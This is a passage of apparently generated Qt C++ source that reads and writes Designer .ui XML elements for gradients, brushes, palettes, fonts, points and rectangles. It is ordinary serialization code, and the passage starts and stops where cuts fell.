if (tag == QLatin1String("color")) {
DomColor *v = new DomColor();
v->read(e);
setElementColor(v);
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomGradientStop::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("gradientstop") : tagName.toLower());
if (hasAttributePosition())
writer.writeAttribute(QLatin1String("position"), QString::number(attributePosition(), 'f', 15));
if (m_children & Color) {
m_color->write(writer, QLatin1String("color"));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
DomColor* DomGradientStop::takeElementColor()
{
DomColor* a = m_color;
m_color = 0;
m_children ^= Color;
return a;
}
void DomGradientStop::setElementColor(DomColor* a)
{
delete m_color;
m_children |= Color;
m_color = a;
}
void DomGradientStop::clearElementColor()
{
delete m_color;
m_color = 0;
m_children &= ~Color;
}
void DomGradient::clear(bool clear_all)
{
qDeleteAll(m_gradientStop);
m_gradientStop.clear();
if (clear_all) {
m_text.clear();
m_has_attr_startX = false;
m_attr_startX = 0.0;
m_has_attr_startY = false;
m_attr_startY = 0.0;
m_has_attr_endX = false;
m_attr_endX = 0.0;
m_has_attr_endY = false;
m_attr_endY = 0.0;
m_has_attr_centralX = false;
m_attr_centralX = 0.0;
m_has_attr_centralY = false;
m_attr_centralY = 0.0;
m_has_attr_focalX = false;
m_attr_focalX = 0.0;
m_has_attr_focalY = false;
m_attr_focalY = 0.0;
m_has_attr_radius = false;
m_attr_radius = 0.0;
m_has_attr_angle = false;
m_attr_angle = 0.0;
m_has_attr_type = false;
m_has_attr_spread = false;
m_has_attr_coordinateMode = false;
}
m_children = 0;
}
DomGradient::DomGradient()
{
m_children = 0;
m_has_attr_startX = false;
m_attr_startX = 0.0;
m_has_attr_startY = false;
m_attr_startY = 0.0;
m_has_attr_endX = false;
m_attr_endX = 0.0;
m_has_attr_endY = false;
m_attr_endY = 0.0;
m_has_attr_centralX = false;
m_attr_centralX = 0.0;
m_has_attr_centralY = false;
m_attr_centralY = 0.0;
m_has_attr_focalX = false;
m_attr_focalX = 0.0;
m_has_attr_focalY = false;
m_attr_focalY = 0.0;
m_has_attr_radius = false;
m_attr_radius = 0.0;
m_has_attr_angle = false;
m_attr_angle = 0.0;
m_has_attr_type = false;
m_has_attr_spread = false;
m_has_attr_coordinateMode = false;
}
DomGradient::~DomGradient()
{
qDeleteAll(m_gradientStop);
m_gradientStop.clear();
}
void DomGradient::read(QXmlStreamReader &reader)
{
foreach (const QXmlStreamAttribute &attribute, reader.attributes()) {
QStringRef name = attribute.name();
if (name == QLatin1String("startx")) {
setAttributeStartX(attribute.value().toString().toDouble());
continue;
}
if (name == QLatin1String("starty")) {
setAttributeStartY(attribute.value().toString().toDouble());
continue;
}
if (name == QLatin1String("endx")) {
setAttributeEndX(attribute.value().toString().toDouble());
continue;
}
if (name == QLatin1String("endy")) {
setAttributeEndY(attribute.value().toString().toDouble());
continue;
}
if (name == QLatin1String("centralx")) {
setAttributeCentralX(attribute.value().toString().toDouble());
continue;
}
if (name == QLatin1String("centraly")) {
setAttributeCentralY(attribute.value().toString().toDouble());
continue;
}
if (name == QLatin1String("focalx")) {
setAttributeFocalX(attribute.value().toString().toDouble());
continue;
}
if (name == QLatin1String("focaly")) {
setAttributeFocalY(attribute.value().toString().toDouble());
continue;
}
if (name == QLatin1String("radius")) {
setAttributeRadius(attribute.value().toString().toDouble());
continue;
}
if (name == QLatin1String("angle")) {
setAttributeAngle(attribute.value().toString().toDouble());
continue;
}
if (name == QLatin1String("type")) {
setAttributeType(attribute.value().toString());
continue;
}
if (name == QLatin1String("spread")) {
setAttributeSpread(attribute.value().toString());
continue;
}
if (name == QLatin1String("coordinatemode")) {
setAttributeCoordinateMode(attribute.value().toString());
continue;
}
reader.raiseError(QLatin1String("Unexpected attribute ") + name.toString());
}
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("gradientstop")) {
DomGradientStop *v = new DomGradientStop();
v->read(reader);
m_gradientStop.append(v);
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomGradient::read(const QDomElement &node)
{
if (node.hasAttribute(QLatin1String("startx")))
setAttributeStartX(node.attribute(QLatin1String("startx")).toDouble());
if (node.hasAttribute(QLatin1String("starty")))
setAttributeStartY(node.attribute(QLatin1String("starty")).toDouble());
if (node.hasAttribute(QLatin1String("endx")))
setAttributeEndX(node.attribute(QLatin1String("endx")).toDouble());
if (node.hasAttribute(QLatin1String("endy")))
setAttributeEndY(node.attribute(QLatin1String("endy")).toDouble());
if (node.hasAttribute(QLatin1String("centralx")))
setAttributeCentralX(node.attribute(QLatin1String("centralx")).toDouble());
if (node.hasAttribute(QLatin1String("centraly")))
setAttributeCentralY(node.attribute(QLatin1String("centraly")).toDouble());
if (node.hasAttribute(QLatin1String("focalx")))
setAttributeFocalX(node.attribute(QLatin1String("focalx")).toDouble());
if (node.hasAttribute(QLatin1String("focaly")))
setAttributeFocalY(node.attribute(QLatin1String("focaly")).toDouble());
if (node.hasAttribute(QLatin1String("radius")))
setAttributeRadius(node.attribute(QLatin1String("radius")).toDouble());
if (node.hasAttribute(QLatin1String("angle")))
setAttributeAngle(node.attribute(QLatin1String("angle")).toDouble());
if (node.hasAttribute(QLatin1String("type")))
setAttributeType(node.attribute(QLatin1String("type")));
if (node.hasAttribute(QLatin1String("spread")))
setAttributeSpread(node.attribute(QLatin1String("spread")));
if (node.hasAttribute(QLatin1String("coordinatemode")))
setAttributeCoordinateMode(node.attribute(QLatin1String("coordinatemode")));
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("gradientstop")) {
DomGradientStop *v = new DomGradientStop();
v->read(e);
m_gradientStop.append(v);
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomGradient::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("gradient") : tagName.toLower());
if (hasAttributeStartX())
writer.writeAttribute(QLatin1String("startx"), QString::number(attributeStartX(), 'f', 15));
if (hasAttributeStartY())
writer.writeAttribute(QLatin1String("starty"), QString::number(attributeStartY(), 'f', 15));
if (hasAttributeEndX())
writer.writeAttribute(QLatin1String("endx"), QString::number(attributeEndX(), 'f', 15));
if (hasAttributeEndY())
writer.writeAttribute(QLatin1String("endy"), QString::number(attributeEndY(), 'f', 15));
if (hasAttributeCentralX())
writer.writeAttribute(QLatin1String("centralx"), QString::number(attributeCentralX(), 'f', 15));
if (hasAttributeCentralY())
writer.writeAttribute(QLatin1String("centraly"), QString::number(attributeCentralY(), 'f', 15));
if (hasAttributeFocalX())
writer.writeAttribute(QLatin1String("focalx"), QString::number(attributeFocalX(), 'f', 15));
if (hasAttributeFocalY())
writer.writeAttribute(QLatin1String("focaly"), QString::number(attributeFocalY(), 'f', 15));
if (hasAttributeRadius())
writer.writeAttribute(QLatin1String("radius"), QString::number(attributeRadius(), 'f', 15));
if (hasAttributeAngle())
writer.writeAttribute(QLatin1String("angle"), QString::number(attributeAngle(), 'f', 15));
if (hasAttributeType())
writer.writeAttribute(QLatin1String("type"), attributeType());
if (hasAttributeSpread())
writer.writeAttribute(QLatin1String("spread"), attributeSpread());
if (hasAttributeCoordinateMode())
writer.writeAttribute(QLatin1String("coordinatemode"), attributeCoordinateMode());
for (int i = 0; i < m_gradientStop.size(); ++i) {
DomGradientStop* v = m_gradientStop[i];
v->write(writer, QLatin1String("gradientstop"));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomGradient::setElementGradientStop(const QList<DomGradientStop*>& a)
{
m_children |= GradientStop;
m_gradientStop = a;
}
void DomBrush::clear(bool clear_all)
{
delete m_color;
delete m_texture;
delete m_gradient;
if (clear_all) {
m_text.clear();
m_has_attr_brushStyle = false;
}
m_kind = Unknown;
m_color = 0;
m_texture = 0;
m_gradient = 0;
}
DomBrush::DomBrush()
{
m_kind = Unknown;
m_has_attr_brushStyle = false;
m_color = 0;
m_texture = 0;
m_gradient = 0;
}
DomBrush::~DomBrush()
{
delete m_color;
delete m_texture;
delete m_gradient;
}
void DomBrush::read(QXmlStreamReader &reader)
{
foreach (const QXmlStreamAttribute &attribute, reader.attributes()) {
QStringRef name = attribute.name();
if (name == QLatin1String("brushstyle")) {
setAttributeBrushStyle(attribute.value().toString());
continue;
}
reader.raiseError(QLatin1String("Unexpected attribute ") + name.toString());
}
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("color")) {
DomColor *v = new DomColor();
v->read(reader);
setElementColor(v);
continue;
}
if (tag == QLatin1String("texture")) {
DomProperty *v = new DomProperty();
v->read(reader);
setElementTexture(v);
continue;
}
if (tag == QLatin1String("gradient")) {
DomGradient *v = new DomGradient();
v->read(reader);
setElementGradient(v);
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomBrush::read(const QDomElement &node)
{
if (node.hasAttribute(QLatin1String("brushstyle")))
setAttributeBrushStyle(node.attribute(QLatin1String("brushstyle")));
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("color")) {
DomColor *v = new DomColor();
v->read(e);
setElementColor(v);
continue;
}
if (tag == QLatin1String("texture")) {
DomProperty *v = new DomProperty();
v->read(e);
setElementTexture(v);
continue;
}
if (tag == QLatin1String("gradient")) {
DomGradient *v = new DomGradient();
v->read(e);
setElementGradient(v);
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomBrush::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("brush") : tagName.toLower());
if (hasAttributeBrushStyle())
writer.writeAttribute(QLatin1String("brushstyle"), attributeBrushStyle());
switch (kind()) {
case Color: {
DomColor* v = elementColor();
if (v != 0) {
v->write(writer, QLatin1String("color"));
}
break;
}
case Texture: {
DomProperty* v = elementTexture();
if (v != 0) {
v->write(writer, QLatin1String("texture"));
}
break;
}
case Gradient: {
DomGradient* v = elementGradient();
if (v != 0) {
v->write(writer, QLatin1String("gradient"));
}
break;
}
default:
break;
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
DomColor* DomBrush::takeElementColor()
{
DomColor* a = m_color;
m_color = 0;
return a;
}
void DomBrush::setElementColor(DomColor* a)
{
clear(false);
m_kind = Color;
m_color = a;
}
DomProperty* DomBrush::takeElementTexture()
{
DomProperty* a = m_texture;
m_texture = 0;
return a;
}
void DomBrush::setElementTexture(DomProperty* a)
{
clear(false);
m_kind = Texture;
m_texture = a;
}
DomGradient* DomBrush::takeElementGradient()
{
DomGradient* a = m_gradient;
m_gradient = 0;
return a;
}
void DomBrush::setElementGradient(DomGradient* a)
{
clear(false);
m_kind = Gradient;
m_gradient = a;
}
void DomColorRole::clear(bool clear_all)
{
delete m_brush;
if (clear_all) {
m_text.clear();
m_has_attr_role = false;
}
m_children = 0;
m_brush = 0;
}
DomColorRole::DomColorRole()
{
m_children = 0;
m_has_attr_role = false;
m_brush = 0;
}
DomColorRole::~DomColorRole()
{
delete m_brush;
}
void DomColorRole::read(QXmlStreamReader &reader)
{
foreach (const QXmlStreamAttribute &attribute, reader.attributes()) {
QStringRef name = attribute.name();
if (name == QLatin1String("role")) {
setAttributeRole(attribute.value().toString());
continue;
}
reader.raiseError(QLatin1String("Unexpected attribute ") + name.toString());
}
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("brush")) {
DomBrush *v = new DomBrush();
v->read(reader);
setElementBrush(v);
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomColorRole::read(const QDomElement &node)
{
if (node.hasAttribute(QLatin1String("role")))
setAttributeRole(node.attribute(QLatin1String("role")));
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("brush")) {
DomBrush *v = new DomBrush();
v->read(e);
setElementBrush(v);
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomColorRole::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("colorrole") : tagName.toLower());
if (hasAttributeRole())
writer.writeAttribute(QLatin1String("role"), attributeRole());
if (m_children & Brush) {
m_brush->write(writer, QLatin1String("brush"));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
DomBrush* DomColorRole::takeElementBrush()
{
DomBrush* a = m_brush;
m_brush = 0;
m_children ^= Brush;
return a;
}
void DomColorRole::setElementBrush(DomBrush* a)
{
delete m_brush;
m_children |= Brush;
m_brush = a;
}
void DomColorRole::clearElementBrush()
{
delete m_brush;
m_brush = 0;
m_children &= ~Brush;
}
void DomColorGroup::clear(bool clear_all)
{
qDeleteAll(m_colorRole);
m_colorRole.clear();
qDeleteAll(m_color);
m_color.clear();
if (clear_all) {
m_text.clear();
}
m_children = 0;
}
DomColorGroup::DomColorGroup()
{
m_children = 0;
}
DomColorGroup::~DomColorGroup()
{
qDeleteAll(m_colorRole);
m_colorRole.clear();
qDeleteAll(m_color);
m_color.clear();
}
void DomColorGroup::read(QXmlStreamReader &reader)
{
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("colorrole")) {
DomColorRole *v = new DomColorRole();
v->read(reader);
m_colorRole.append(v);
continue;
}
if (tag == QLatin1String("color")) {
DomColor *v = new DomColor();
v->read(reader);
m_color.append(v);
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomColorGroup::read(const QDomElement &node)
{
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("colorrole")) {
DomColorRole *v = new DomColorRole();
v->read(e);
m_colorRole.append(v);
continue;
}
if (tag == QLatin1String("color")) {
DomColor *v = new DomColor();
v->read(e);
m_color.append(v);
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomColorGroup::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("colorgroup") : tagName.toLower());
for (int i = 0; i < m_colorRole.size(); ++i) {
DomColorRole* v = m_colorRole[i];
v->write(writer, QLatin1String("colorrole"));
}
for (int i = 0; i < m_color.size(); ++i) {
DomColor* v = m_color[i];
v->write(writer, QLatin1String("color"));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomColorGroup::setElementColorRole(const QList<DomColorRole*>& a)
{
m_children |= ColorRole;
m_colorRole = a;
}
void DomColorGroup::setElementColor(const QList<DomColor*>& a)
{
m_children |= Color;
m_color = a;
}
void DomPalette::clear(bool clear_all)
{
delete m_active;
delete m_inactive;
delete m_disabled;
if (clear_all) {
m_text.clear();
}
m_children = 0;
m_active = 0;
m_inactive = 0;
m_disabled = 0;
}
DomPalette::DomPalette()
{
m_children = 0;
m_active = 0;
m_inactive = 0;
m_disabled = 0;
}
DomPalette::~DomPalette()
{
delete m_active;
delete m_inactive;
delete m_disabled;
}
void DomPalette::read(QXmlStreamReader &reader)
{
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("active")) {
DomColorGroup *v = new DomColorGroup();
v->read(reader);
setElementActive(v);
continue;
}
if (tag == QLatin1String("inactive")) {
DomColorGroup *v = new DomColorGroup();
v->read(reader);
setElementInactive(v);
continue;
}
if (tag == QLatin1String("disabled")) {
DomColorGroup *v = new DomColorGroup();
v->read(reader);
setElementDisabled(v);
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomPalette::read(const QDomElement &node)
{
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("active")) {
DomColorGroup *v = new DomColorGroup();
v->read(e);
setElementActive(v);
continue;
}
if (tag == QLatin1String("inactive")) {
DomColorGroup *v = new DomColorGroup();
v->read(e);
setElementInactive(v);
continue;
}
if (tag == QLatin1String("disabled")) {
DomColorGroup *v = new DomColorGroup();
v->read(e);
setElementDisabled(v);
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomPalette::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("palette") : tagName.toLower());
if (m_children & Active) {
m_active->write(writer, QLatin1String("active"));
}
if (m_children & Inactive) {
m_inactive->write(writer, QLatin1String("inactive"));
}
if (m_children & Disabled) {
m_disabled->write(writer, QLatin1String("disabled"));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
DomColorGroup* DomPalette::takeElementActive()
{
DomColorGroup* a = m_active;
m_active = 0;
m_children ^= Active;
return a;
}
void DomPalette::setElementActive(DomColorGroup* a)
{
delete m_active;
m_children |= Active;
m_active = a;
}
DomColorGroup* DomPalette::takeElementInactive()
{
DomColorGroup* a = m_inactive;
m_inactive = 0;
m_children ^= Inactive;
return a;
}
void DomPalette::setElementInactive(DomColorGroup* a)
{
delete m_inactive;
m_children |= Inactive;
m_inactive = a;
}
DomColorGroup* DomPalette::takeElementDisabled()
{
DomColorGroup* a = m_disabled;
m_disabled = 0;
m_children ^= Disabled;
return a;
}
void DomPalette::setElementDisabled(DomColorGroup* a)
{
delete m_disabled;
m_children |= Disabled;
m_disabled = a;
}
void DomPalette::clearElementActive()
{
delete m_active;
m_active = 0;
m_children &= ~Active;
}
void DomPalette::clearElementInactive()
{
delete m_inactive;
m_inactive = 0;
m_children &= ~Inactive;
}
void DomPalette::clearElementDisabled()
{
delete m_disabled;
m_disabled = 0;
m_children &= ~Disabled;
}
void DomFont::clear(bool clear_all)
{
if (clear_all) {
m_text.clear();
}
m_children = 0;
m_pointSize = 0;
m_weight = 0;
m_italic = false;
m_bold = false;
m_underline = false;
m_strikeOut = false;
m_antialiasing = false;
m_kerning = false;
}
DomFont::DomFont()
{
m_children = 0;
m_pointSize = 0;
m_weight = 0;
m_italic = false;
m_bold = false;
m_underline = false;
m_strikeOut = false;
m_antialiasing = false;
m_kerning = false;
}
DomFont::~DomFont()
{
}
void DomFont::read(QXmlStreamReader &reader)
{
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("family")) {
setElementFamily(reader.readElementText());
continue;
}
if (tag == QLatin1String("pointsize")) {
setElementPointSize(reader.readElementText().toInt());
continue;
}
if (tag == QLatin1String("weight")) {
setElementWeight(reader.readElementText().toInt());
continue;
}
if (tag == QLatin1String("italic")) {
setElementItalic((reader.readElementText() == QLatin1String("true") ? true : false));
continue;
}
if (tag == QLatin1String("bold")) {
setElementBold((reader.readElementText() == QLatin1String("true") ? true : false));
continue;
}
if (tag == QLatin1String("underline")) {
setElementUnderline((reader.readElementText() == QLatin1String("true") ? true : false));
continue;
}
if (tag == QLatin1String("strikeout")) {
setElementStrikeOut((reader.readElementText() == QLatin1String("true") ? true : false));
continue;
}
if (tag == QLatin1String("antialiasing")) {
setElementAntialiasing((reader.readElementText() == QLatin1String("true") ? true : false));
continue;
}
if (tag == QLatin1String("stylestrategy")) {
setElementStyleStrategy(reader.readElementText());
continue;
}
if (tag == QLatin1String("kerning")) {
setElementKerning((reader.readElementText() == QLatin1String("true") ? true : false));
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomFont::read(const QDomElement &node)
{
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("family")) {
setElementFamily(e.text());
continue;
}
if (tag == QLatin1String("pointsize")) {
setElementPointSize(e.text().toInt());
continue;
}
if (tag == QLatin1String("weight")) {
setElementWeight(e.text().toInt());
continue;
}
if (tag == QLatin1String("italic")) {
setElementItalic((e.text() == QLatin1String("true") ? true : false));
continue;
}
if (tag == QLatin1String("bold")) {
setElementBold((e.text() == QLatin1String("true") ? true : false));
continue;
}
if (tag == QLatin1String("underline")) {
setElementUnderline((e.text() == QLatin1String("true") ? true : false));
continue;
}
if (tag == QLatin1String("strikeout")) {
setElementStrikeOut((e.text() == QLatin1String("true") ? true : false));
continue;
}
if (tag == QLatin1String("antialiasing")) {
setElementAntialiasing((e.text() == QLatin1String("true") ? true : false));
continue;
}
if (tag == QLatin1String("stylestrategy")) {
setElementStyleStrategy(e.text());
continue;
}
if (tag == QLatin1String("kerning")) {
setElementKerning((e.text() == QLatin1String("true") ? true : false));
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomFont::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("font") : tagName.toLower());
if (m_children & Family) {
writer.writeTextElement(QLatin1String("family"), m_family);
}
if (m_children & PointSize) {
writer.writeTextElement(QLatin1String("pointsize"), QString::number(m_pointSize));
}
if (m_children & Weight) {
writer.writeTextElement(QLatin1String("weight"), QString::number(m_weight));
}
if (m_children & Italic) {
writer.writeTextElement(QLatin1String("italic"), (m_italic ? QLatin1String("true") : QLatin1String("false")));
}
if (m_children & Bold) {
writer.writeTextElement(QLatin1String("bold"), (m_bold ? QLatin1String("true") : QLatin1String("false")));
}
if (m_children & Underline) {
writer.writeTextElement(QLatin1String("underline"), (m_underline ? QLatin1String("true") : QLatin1String("false")));
}
if (m_children & StrikeOut) {
writer.writeTextElement(QLatin1String("strikeout"), (m_strikeOut ? QLatin1String("true") : QLatin1String("false")));
}
if (m_children & Antialiasing) {
writer.writeTextElement(QLatin1String("antialiasing"), (m_antialiasing ? QLatin1String("true") : QLatin1String("false")));
}
if (m_children & StyleStrategy) {
writer.writeTextElement(QLatin1String("stylestrategy"), m_styleStrategy);
}
if (m_children & Kerning) {
writer.writeTextElement(QLatin1String("kerning"), (m_kerning ? QLatin1String("true") : QLatin1String("false")));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomFont::setElementFamily(const QString& a)
{
m_children |= Family;
m_family = a;
}
void DomFont::setElementPointSize(int a)
{
m_children |= PointSize;
m_pointSize = a;
}
void DomFont::setElementWeight(int a)
{
m_children |= Weight;
m_weight = a;
}
void DomFont::setElementItalic(bool a)
{
m_children |= Italic;
m_italic = a;
}
void DomFont::setElementBold(bool a)
{
m_children |= Bold;
m_bold = a;
}
void DomFont::setElementUnderline(bool a)
{
m_children |= Underline;
m_underline = a;
}
void DomFont::setElementStrikeOut(bool a)
{
m_children |= StrikeOut;
m_strikeOut = a;
}
void DomFont::setElementAntialiasing(bool a)
{
m_children |= Antialiasing;
m_antialiasing = a;
}
void DomFont::setElementStyleStrategy(const QString& a)
{
m_children |= StyleStrategy;
m_styleStrategy = a;
}
void DomFont::setElementKerning(bool a)
{
m_children |= Kerning;
m_kerning = a;
}
void DomFont::clearElementFamily()
{
m_children &= ~Family;
}
void DomFont::clearElementPointSize()
{
m_children &= ~PointSize;
}
void DomFont::clearElementWeight()
{
m_children &= ~Weight;
}
void DomFont::clearElementItalic()
{
m_children &= ~Italic;
}
void DomFont::clearElementBold()
{
m_children &= ~Bold;
}
void DomFont::clearElementUnderline()
{
m_children &= ~Underline;
}
void DomFont::clearElementStrikeOut()
{
m_children &= ~StrikeOut;
}
void DomFont::clearElementAntialiasing()
{
m_children &= ~Antialiasing;
}
void DomFont::clearElementStyleStrategy()
{
m_children &= ~StyleStrategy;
}
void DomFont::clearElementKerning()
{
m_children &= ~Kerning;
}
void DomPoint::clear(bool clear_all)
{
if (clear_all) {
m_text.clear();
}
m_children = 0;
m_x = 0;
m_y = 0;
}
DomPoint::DomPoint()
{
m_children = 0;
m_x = 0;
m_y = 0;
}
DomPoint::~DomPoint()
{
}
void DomPoint::read(QXmlStreamReader &reader)
{
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QString(QLatin1Char('x'))) {
setElementX(reader.readElementText().toInt());
continue;
}
if (tag == QString(QLatin1Char('y'))) {
setElementY(reader.readElementText().toInt());
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomPoint::read(const QDomElement &node)
{
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QString(QLatin1Char('x'))) {
setElementX(e.text().toInt());
continue;
}
if (tag == QString(QLatin1Char('y'))) {
setElementY(e.text().toInt());
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomPoint::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("point") : tagName.toLower());
if (m_children & X) {
writer.writeTextElement(QString(QLatin1Char('x')), QString::number(m_x));
}
if (m_children & Y) {
writer.writeTextElement(QString(QLatin1Char('y')), QString::number(m_y));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomPoint::setElementX(int a)
{
m_children |= X;
m_x = a;
}
void DomPoint::setElementY(int a)
{
m_children |= Y;
m_y = a;
}
void DomPoint::clearElementX()
{
m_children &= ~X;
}
void DomPoint::clearElementY()
{
m_children &= ~Y;
}
void DomRect::clear(bool clear_all)
{
if (clear_all) {
m_text.clear();
}
m_children = 0;
m_x = 0;
m_y = 0;
m_width = 0;
m_height = 0;
}
DomRect::DomRect()
{
m_children = 0;
m_x = 0;
m_y = 0;
m_width = 0;
m_height = 0;
}
DomRect::~DomRect()
{
}
void DomRect::read(QXmlStreamReader &reader)
{
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QString(QLatin1Char('x'))) {
setElementX(reader.readElementText().toInt());
continue;
}
if (tag == QString(QLatin1Char('y'))) {
setElementY(reader.readElementText().toInt());
continue;
}
if (tag == QLatin1String("width")) {
setElementWidth(reader.readElementText().toInt());
continue;
}
if (tag == QLatin1String("height")) {
setElementHeight(reader.readElementText().toInt());
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
